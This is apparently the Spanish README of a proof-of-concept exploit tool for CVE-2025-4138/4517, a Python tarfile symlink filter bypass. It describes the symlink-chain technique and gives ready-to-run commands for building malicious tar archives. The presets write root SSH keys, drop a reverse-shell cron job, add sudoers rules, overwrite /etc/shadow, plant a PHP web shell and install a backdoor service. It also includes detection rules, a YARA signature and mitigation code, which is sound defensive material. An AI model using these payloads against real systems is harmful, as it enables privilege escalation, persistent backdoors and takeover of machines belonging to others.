
CVE-2025-4138 / CVE-2025-4517 — Bypass del filtro de Symlink PATH_MAX en Python tarfile
Escritura arbitraria de archivos mediante extracción con filter="data" / filter="tar"
Una vulnerabilidad crítica en el módulo tarfile de Python permite a un atacante omitir los filtros de extracción ("data" y "tar") y escribir archivos arbitrarios fuera del directorio de extracción previsto. Cuando un proceso privilegiado (p. ej., un script de copia de seguridad de nivel root, un pipeline de CI/CD o un instalador de paquetes) extrae un archivo tar controlado por el atacante usando el parámetro supuestamente seguro filter="data", este exploit consigue escritura arbitraria completa de archivos como ese usuario privilegiado — normalmente escalando a root.
La causa raíz es una peculiaridad de comportamiento en os.path.realpath(): deja de resolver silenciosamente los enlaces simbólicos una vez que la ruta completamente expandida supera PATH_MAX (4096 bytes en Linux, 1024 en macOS). El filtro de tarfile se basa en realpath() para las comprobaciones de seguridad, pero el kernel resuelve los enlaces simbólicos de forma independiente durante la extracción, lo que crea una brecha TOCTOU (Time-of-Check-to-Time-of-Use) que permite escapar del directorio.
┌───────────────────────────────────────────┐
│ Malicious Tar Structure │
└───────────────────────────────────────────┘
Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a → ddd...ddd (symlink, 1 char name → 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b → ddd...ddd (symlink)
... ×16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars
↑ nearing PATH_MAX
Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving
a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../..
(16 levels of ".." — traverses back to extraction root)
┌─────────────────────────────────────────────────────────────────┐
│ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │
│ Linux kernel DOES follow chain → actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘
Stage 3 ── Escape symlink resolves to arbitrary filesystem path
escape → <overflow_link>/../../../../../../../root
Stage 4 ── Create intermediate directories through the escape
escape/.ssh/ (directory, mode 0700 — created by tar extraction)
Stage 5 ── Write payload through the escaped symlink
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓
---
## Versiones Afectadas
| Rama de Python | Rango Vulnerable | Versión Corregida | Estado |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ Corregido |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ Corregido |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ Corregido |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ Corregido |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ Corregido |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ Fin de vida útil |
| 3.14+ | Filtro predeterminado cambiado a `"data"` | Consultar la última versión | ⚠️ Mayor exposición |
> **Nota:** Python 3.14+ cambió el parámetro `filter` predeterminado de sin filtrado a `"data"`, lo que significa que las aplicaciones que anteriormente no tenían filtro (y por lo tanto ya eran inseguras) ahora usan el filtro vulnerable por defecto.
---
## Patrón de Código Afectado
Cualquier aplicación que haga esto en una versión vulnerable de Python es explotable:```python
import tarfile
# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
Casos frecuentes en el mundo real:
.targit clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC
python3 exploit.py --help
**Requisitos:** Python 3.6+ (para la creación del archivo — el **objetivo** debe ejecutar una versión vulnerable)
---
## Uso
### Inicio rápido — Inyección de clave SSH```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub # verify key was created
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies — backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar
# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target
Importante: El exploit crea automáticamente los directorios intermedios (p. ej.,
/root/.ssh/) dentro del archivo tar. Si el directorio de destino no existe en el sistema de archivos,extractall()lo creará durante la extracción.
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar
python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar
### Objetivo personalizado
Escribe cualquier contenido en cualquier ruta absoluta del sistema de archivos del objetivo:```bash
# Overwrite MOTD
python3 exploit.py \
--target /etc/motd \
--payload "Authorized access only." \
--mode 0644 \
--tar-out evil.tar
# Plant a web shell
python3 exploit.py \
--target /var/www/html/shell.php \
--payload '<?php system($_GET["cmd"]); ?>' \
--mode 0644 \
--tar-out evil.tar
# Overwrite a systemd service for persistence
python3 exploit.py \
--target /etc/systemd/system/backdoor.service \
--payload backdoor.service \
--mode 0644 \
--tar-out evil.tar
Compruebe si un sistema es vulnerable sin tocar archivos sensibles:```bash
mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile
python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar
python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "
cat /tmp/cve_test/flag/testfile
rm -rf /tmp/cve_test
### Comprobación rápida de versión```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
(v.minor == 12 and v.micro <= 10) or
(v.minor == 13 and v.micro <= 3) or
(v.minor == 11 and 4 <= v.micro <= 12) or
(v.minor == 10 and 12 <= v.micro <= 17) or
(v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"
os.path.realpath()En Linux, PATH_MAX se define como 4096 bytes. En macOS, es de 1024 bytes. Cuando os.path.realpath() resuelve una ruta componente a componente y la ruta resuelta acumulada supera este límite, deja de resolver silenciosamente los componentes restantes y los añade como cadenas literales.```
os.path.realpath() behavior:
Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!
Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!
Este es un comportamiento **documentado** de `realpath()`, pero la implementación del filtro de tarfile no lo tuvo en cuenta.
### Construcción de la cadena de symlinks
Cada nivel de la cadena consta de:
| Entrada | Tipo | Longitud del nombre | Propósito |
|:--|:--|:--|:--|
| Directorio | `DIRTYPE` | 247 caracteres (Linux) / 55 caracteres (macOS) | El nombre largo infla la ruta resuelta |
| Symlink | `SYMTYPE` | 1 carácter (`a`, `b`, …, `p`) | Alias corto para el directorio largo |
Después de 16 niveles:
| Métrica | Valor |
|:--|:--|
| **Ruta corta** (vía symlinks) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31 caracteres |
| **Ruta resuelta** (vía directorios) | `ddd…/ddd…/ddd…/…` ≈ **3968 caracteres** |
| **PATH_MAX** | 4096 bytes |
| **Presupuesto restante** | ~128 bytes — no es suficiente para el payload de traversal |
### Mecanismo de bypass del filtro
El `data_filter` del módulo tarfile de Python realiza esta comprobación:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
target = os.path.realpath(os.path.join(dest_path, member.linkname))
if not target.startswith(dest_path):
raise FilterError("link would escape destination")
La vulnerabilidad:
realpath() recibe: /extract/a/b/c/.../p/lll.../../../../../root/.sshrealpath() resuelve la porción a/b/c/.../p a través de la cadena de enlaces simbólicos → 3968+ bytes../../../../root/.ssh se añade literalmente/extract/ddd…(3968 chars)…/../../../../root/.ssh/extract/ → pasa ✓../ normalmente → escapa a /rootescape/.ssh se extrae como directorio → crea /root/.ssh/ (modo 0700)┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘
---
## Escenarios de Ataque del Mundo Real
### 1. Restauración de Copias de Seguridad con Privilegios
Un script de copia de seguridad que se ejecuta como root extrae archivos tar proporcionados por el usuario:```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")
Impacto: Un atacante suministra una copia de seguridad maliciosa → escribe una clave SSH en /root/.ssh/authorized_keys → obtiene una shell root.
Un sistema de compilación extrae artefactos de fuentes no confiables:```python
tar.extractall(path=workspace_dir, filter="data")
**Impacto:** El artefacto malicioso escapa del espacio de trabajo → sobrescribe la configuración de CI → logra ejecución de código en la infraestructura de compilación.
### 3. Procesamiento de subida de aplicaciones web
Una aplicación web acepta y extrae subidas de archivos tar:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")
Impacto: Un atacante remoto sube un tar manipulado → escribe una web shell en el document root → consigue RCE.
Gestores de paquetes de Python que extraen distribuciones de código fuente:```python
tar.extractall(path=build_dir, filter="data")
**Impacto:** Un paquete PyPI malicioso escapa del directorio de compilación → modifica archivos del sistema.
---
## Detección
### Indicadores de compromiso
Monitoree estos patrones que pueden indicar explotación:```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
xargs -I{} readlink {} | grep -c "^d\{200,\}"
# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/
# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape
rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }
---
## Mitigación
### 1. Actualizar Python (Recomendado)```bash
# Check current version
python3 -c "import sys; print(sys.version)"
# Upgrade to patched version:
# 3.9.23+ | 3.10.18+ | 3.11.13+ | 3.12.11+ | 3.13.4+
Si no es posible una actualización inmediata:```python import pathlib import tarfile
def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")
### 3. Extracción en sandbox```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
mount -t tmpfs tmpfs /mnt
python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
"
'
tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/
---
## CVEs relacionadas
| CVE | Descripción | Severidad |
|:--|:--|:--|
| **CVE-2025-4138** | Evasión del filtro de destino del symlink mediante desbordamiento de PATH_MAX | Crítica |
| **CVE-2025-4517** | Escritura arbitraria de archivos mediante desbordamiento de realpath (misma causa raíz) | Crítica |
| **CVE-2025-4330** | Path traversal mediante symlink que omite los filtros de extracción | Alta |
| **CVE-2024-12718** | Modificación de metadatos de archivo fuera del directorio de extracción | Alta |
| **CVE-2025-4435** | Los archivos filtrados aún se extraen cuando `errorlevel=0` | Media |
| **CVE-2007-4559** | Path traversal original de tarfile (era sin filtros) | Alta |
Todas fueron abordadas en [CPython Issue #135034](https://github.com/python/cpython/issues/135034) y [PR #135037](https://github.com/python/cpython/pull/135037).
---
## Cronología
| Fecha | Evento |
|:--|:--|
| 2025-04-30 | Vulnerabilidad reportada al Python Security Response Team |
| 2025-06-02 | Issue público abierto — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | Corrección fusionada — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | Publicado el [Anuncio de Seguridad de PSF](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) |
| 2025-06-03 | Versiones parcheadas: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | Aviso de CERT-FR [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Aviso de Google Security Research [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | Divulgación completa |
---
## Referencias
- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Aviso de Google Security Research y PoC original
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — Informe de error upstream
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — Commit de la corrección
- [Anuncio de Seguridad de PSF](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — Aviso oficial
- [Gist de mitigación de Seth Larson](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — Script de mitigación rápida
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Documentación de los filtros de extracción de `tarfile` en Python](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Página de manual de `realpath(3)` de Linux](https://man7.org/linux/man-pages/man3/realpath.3.html) — Comportamiento de PATH_MAX
---
## Créditos
- **Descubrimiento de la vulnerabilidad:** [Caleb Brown](https://github.com/calebbrown) — Google Security Research
- **Autores del parche:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **Este PoC:** [DesertDemon](https://github.com/DesertDemons)
---
## Descargo de responsabilidad
> **⚠️ Esta herramienta se proporciona estrictamente para pruebas de seguridad autorizadas, investigación y fines educativos.**
>
> El acceso no autorizado a sistemas informáticos es ilegal según la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act y la legislación equivalente en todo el mundo. Obtenga siempre autorización explícita por escrito antes de probar cualquier sistema que no sea de su propiedad.
>
> El autor no asume ninguna responsabilidad por el mal uso de este software. Al usar esta herramienta, usted acepta que es el único responsable de sus acciones y que cumplirá con todas las leyes aplicables.
---
**Etiquetas:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`
## Licencia
Este proyecto está licenciado bajo la [Licencia MIT](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/HEAD/LICENSE).
---
<p align="center">
<sub>
🔐 Si te resulta útil, considera darle una estrella al repositorio<br>
📫 Para consultas de divulgación responsable, abre un issue o contacta vía GitHub
</sub>
</p>
| Campo | Valor |
|---|
| CVE IDs | CVE-2025-4138, CVE-2025-4517 |
| CVSS v3.1 | 9.4 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
| CWE | CWE-22 — Limitación incorrecta de una ruta a un directorio restringido |
| Tipo de vulnerabilidad | Recorrido de directorios mediante enlaces simbólicos / Omisión del filtro |
| Impacto | Escritura arbitraria de archivos → escalada de privilegios, escape de sandbox, manipulación de datos |
| Vector de ataque | Entregar un archivo tar malicioso a cualquier aplicación que utilice tarfile.extractall() con filtros |
| Afectados | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 |
| Corregido en | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| Parche | CPython PR #135037 |
| Aviso | GHSA-hgqp-3mmf-7h8f |
| Informador | Caleb Brown — Google Security Research |
| Preajuste | Archivo objetivo | Descripción | Parámetro --extra |
|---|
ssh-key | /root/.ssh/authorized_keys | Inyecta la clave pública SSH para el inicio de sesión de root | — |
cron | /etc/cron.d/pwned | Coloca un trabajo cron de shell inversa como root | Dirección IP de LHOST |
sudoers | /etc/sudoers.d/pwned | Añade regla sudo NOPASSWD para un usuario | Nombre de usuario |
shadow | /etc/shadow | Sobrescribe el archivo shadow (⚠️ destructivo) | — |
passwd | /etc/passwd | Sobrescribe el archivo passwd (⚠️ destructivo) | — |
escape/.ssh/authorized_keys → escribe en /root/.ssh/authorized_keys